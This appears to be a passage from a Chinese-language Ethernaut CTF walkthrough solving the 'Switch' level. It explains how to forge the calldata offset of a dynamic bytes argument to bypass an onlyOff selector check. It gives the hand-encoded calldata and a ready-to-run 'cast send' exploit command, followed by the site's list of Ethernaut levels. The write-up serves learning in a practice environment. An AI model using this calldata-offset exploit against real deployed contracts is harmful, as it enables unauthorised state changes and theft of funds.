那么调用 flipSwitch() 传入的 _data 编码如下

0000000000000000000000000000000000000000000000000000000000000060 # _data offset
0000000000000000000000000000000000000000000000000000000000000000 # padding
20606e1500000000000000000000000000000000000000000000000000000000 # offSelector
0000000000000000000000000000000000000000000000000000000000000004
76227e1200000000000000000000000000000000000000000000000000000000

对于动态类型的数据，假设其在 CALLDATA 中的位置可能是错误的

Exploit¶

$ cast send <contract-address> --private-key <key> --rpc-url <rpc-url> 0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000420606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000

最后更新: 2023年5月23日 14:29:46

Contributors: YanhuiJessica

Ethernaut

0. Hello Ethernaut¶

1. Fallback¶

参考资料¶

2. Fallout¶

参考资料¶

3. Coin Flip¶

参考资料¶

4. Telephone¶

5. Token¶

6. Delegation¶

参考资料¶

7. Force¶

参考资料¶

8. Vault¶

参考资料¶

9. King¶

10. Re-entrancy¶

11. Elevator¶

参考资料¶

12. Privacy¶

参考资料¶

13. Gatekeeper One¶

参考资料¶

14. Gatekeeper Two¶

参考资料¶

15. Naught Coin¶

参考资料¶

16. Preservation¶

参考资料¶

17. Recovery¶

参考资料¶

18. MagicNumber¶

参考资料¶

19. Alien Codex¶

参考资料¶

20. Denial¶

21. Shop¶

22. Dex¶

23. Dex Two¶

24. Puzzle Wallet¶

25. Motorbike¶

Exploit¶

参考资料¶

26. DoubleEntryPoint¶

参考资料¶

27. Good Samaritan¶

参考资料¶

28. Gatekeeper Three¶

29. Switch¶

Exploit¶

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